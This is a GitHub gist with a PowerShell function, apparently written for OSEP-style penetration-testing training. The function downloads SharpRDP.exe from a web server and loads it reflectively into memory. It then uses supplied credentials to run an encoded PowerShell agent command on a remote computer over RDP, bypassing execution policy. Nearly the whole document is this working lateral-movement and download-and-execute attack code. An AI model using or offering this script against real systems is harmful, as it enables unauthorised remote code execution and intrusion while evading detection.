Created
November 30, 2021 14:44
-
-
Save tahadraidia/aa3ad6fdccd3b785b5788af641edbbe9 to your computer and use it in GitHub Desktop.
The following script is an the adaptation of the initial script: https://tahadraidia.com/posts/make-sharprdp-an-assembly-loadable/ #OSEP #CSHARP #POWERSHELL
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function Invoke-PowershellAgent { | |
[CmdletBinding()] | |
param ( | |
[Parameter(Mandatory=$true)][string]$computer, | |
[Parameter(Mandatory=$true)][string]$username, | |
[Parameter(Mandatory=$true)][string]$password | |
) | |
$download_exec_agent = "C:\windows\system32\cmd.exe /c powershell -bypass exec -enc POWERSHELL_B64_AGENT" | |
$asm = Invoke-WebRequest -URI 'http://127.0.0.1/SharpRDP.exe' -UseBasicParsing | Select-Object -ExpandProperty Content | |
$Bytes = [byte[]]$asm | |
Write-Host "[+] Got" $Bytes.Length "bytes"; | |
Write-Host "[*] Attempting to load Assembly..." | |
try{ | |
[System.Reflection.Assembly]::Load($Bytes) | |
Write-Host "[+] Loaded Assembly!"; | |
} | |
catch{ | |
Write-Warning "[!] Error: " $($_.Exception.Message) | |
} | |
try{ | |
[SharpRDP.Program]::Main(("computername=$computer", "command=$download_exec_agent", "username=$username", "password=$password")) | |
Write-Host "[+] Successfully Triggered" | |
} | |
catch{ | |
Write-Warning "[!] Error: " $($_.Exception.Message) | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment